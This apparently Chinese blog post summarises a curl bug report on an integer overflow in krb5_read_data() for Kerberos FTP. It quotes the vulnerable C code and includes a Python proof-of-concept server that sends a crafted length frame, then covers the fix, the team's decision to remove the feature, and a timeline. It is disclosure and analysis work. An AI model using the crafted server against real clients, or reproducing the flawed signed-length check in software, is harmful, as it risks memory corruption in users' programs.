Kerberos FTP整数溢出漏洞分析与修复

本文详细分析了curl中krb5_read_data函数存在的整数溢出漏洞,该漏洞可导致缓冲区溢出和内存分配问题,并探讨了修复方案和最终决定移除Kerberos FTP支持的决策过程。

整数溢出在krb5_read_data()中导致(可能的)大规模recv()写入

漏洞摘要

krb5_read_data()函数中存在两个问题:

问题1:整数溢出漏洞

1
2
3
len = (int)ntohl((uint32_t)len);
if(len > CURL_MAX_INPUT_LENGTH)
  return CURLE_TOO_LARGE;

len值经过类型转换后变为负数时,会绕过长度检查。随后在以下代码中:

1
2
3
char buffer[1024];
nread = CURLMIN(len, (int)sizeof(buffer));
result = socket_read(data, sockindex, buffer, (size_t)nread);

如果len为-1,nread将被转换为(size_t)-1(即巨大的正数),最终传递给recv()函数,可能导致越界读取。

问题2:逻辑错误 在do-while循环结束后,将len=0传递给decode()函数,而不是实际的缓冲区长度。

受影响版本

自引入该代码以来的所有版本。

复现步骤

提供了完整的复现环境,包括:

repro_server.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3
import socket, struct, argparse, sys, time

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--port", type=int, default=9999)
    ap.add_argument("--netlen", type=lambda x:int(x,0), default=0x00000010,
                    help="4-byte big-endian length to send (e.g. 0x10 or 16)")
    ap.add_argument("--payload-byte", default="41", help="hex byte to repeat (default '41' = 'A')")
    args = ap.parse_args()

    payload = bytes([int(args.payload_byte, 16)]) * (args.netlen & 0xffffffff)
    netlen = struct.pack("!I", args.netlen & 0xffffffff)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("0.0.0.0", args.port))
    s.listen(1)
    print(f"listening on :{args.port} …")
    while True:
        conn, addr = s.accept()
        print("client:", addr, " sending frame len=", hex(args.netlen))
        try:
            conn.sendall(netlen)
            if args.netlen:
                conn.sendall(payload)
            time.sleep(0.2)
        finally:
            conn.close()

if __name__ == "__main__":
    main()

krb5_len_bug_harness.c

提供了完整的C语言测试代码,模拟漏洞触发条件。

漏洞利用性分析

虽然存在缓冲区溢出漏洞,但由于内核限制,recv()调用可能会失败并返回"Bad address"错误。测试表明在当前系统上难以实现有效利用。

修复方案

curl开发团队提供了修复补丁,主要修改包括:

  1. len的类型从int改为uint32_t
  2. 修复decode函数的参数传递
  3. 完善类型转换和长度检查

最终决策

经过评估,curl团队决定:

  1. 不将此问题归类为安全漏洞:因为自8.8.0版本引入该问题以来,相关代码实际上已无法正常工作,用户不会因此受到攻击。
  2. 完全移除Kerberos FTP支持:由于代码未被使用且维护成本高,决定在PR #18577中移除相关功能。

时间线

  • 2025年9月16日:漏洞报告提交
  • 2025年9月18日:报告公开披露
  • 状态:Informative(信息类)
  • 严重性:低(0.1 ~ 3.9)
  • CVE ID:无
  • 赏金:无
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计